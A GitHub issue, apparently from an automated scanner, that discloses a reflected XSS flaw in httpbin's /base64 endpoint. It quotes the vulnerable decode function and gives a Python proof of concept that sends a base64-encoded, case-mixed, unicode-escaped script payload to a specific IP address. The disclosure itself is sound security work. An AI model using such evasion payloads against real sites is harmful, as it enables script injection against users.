httpbin icon indicating copy to clipboard operation
httpbin copied to clipboard

XSS - /base64

Open NinjaGPT opened this issue 1 month ago • 0 comments

Summary

In the latest version (v0.6.1) of HTTPBIN, the endpoint /base64 does not encode user-controllable parameters when outputting them on the current page, resulting in Reflected XSS. This allows attackers to launch XSS attacks against users.

Details

  • SINK / SOURCE
// httpbin-master/httpbin/core.py#L1291-L1312
1291: def decode_base64(value):
1292:     """Decodes base64url-encoded string.
1293:     ---
1294:     tags:
1295:       - Dynamic data
1296:     parameters:
1297:       - in: path
1298:         name: value
1299:         type: string
1300:         default: SFRUUEJJTiBpcyBhd2Vzb21l
1301:     produces:
1302:       - text/html
1303:     responses:
1304:       200:
1305:         description: Decoded base64 content.
1306:     """
1307:     encoded = value.encode("utf-8")  # base64 expects binary string as input
1308:     try:
1309:         return base64.urlsafe_b64decode(encoded).decode("utf-8")
1310:     except:
1311:         return "Incorrect Base64 data try: SFRUUEJJTiBpcyBhd2Vzb21l"
1312:

POC

import requests
from requests.sessions import Session
class CustomSession(Session):
    def request(
        self,
        method,
        url,
        params = None,
        data = None,
        headers = None,
        cookies = None,
        files = None,
        auth = None,
        timeout = None,
        allow_redirects = True,
        proxies = None,
        hooks = None,
        stream = None,
        verify = None,
        cert = None,
        json = None,
    ):
        arg_names = (
            'method', 'url', 'params', 'data', 'headers', 'cookies', 'files', 'auth', 'timeout',
            'allow_redirects', 'proxies', 'hooks', 'stream', 'verify', 'cert', 'json'
        )
        local_variables = locals()
        local_variables = {n: local_variables[n] for n in local_variables if n in arg_names}
        
        local_variables['headers'] = local_variables.get('headers') or dict()
        local_variables['headers'].update({'referer': 'http://35.233.133.2:40315/', 'User-Agent': 'oxpecker', 'accept-language': 'en-US', 'upgrade-insecure-requests': '1'})
        return super().request(**{n: local_variables[n] for n in local_variables if n in arg_names})
requests.sessions.Session = CustomSession
# ================================== Poc Start ===================================
import base64
import requests
target_url = 'http://35.233.133.2:40315/base64/'
payload = "<scrIPt>eval('\\u0061\\u006c\\u0065\\u0072\\u0074\\u0028\\u0022\\u007a\\u0061\\u0073\\u0074\\u002d\\u0078\\u0073\\u0073\\u0022\\u0029')</scRIpt>"
encoded_payload = base64.b64encode(payload.encode()).decode()
url_with_payload = f'{target_url}{encoded_payload}'
response = requests.get(url_with_payload, verify=False, allow_redirects=False)
print('Status Code:', response.status_code)
print('Text:', response.text)
# =================================== Poc End ====================================
Image

NinjaGPT avatar Dec 08 '25 08:12 NinjaGPT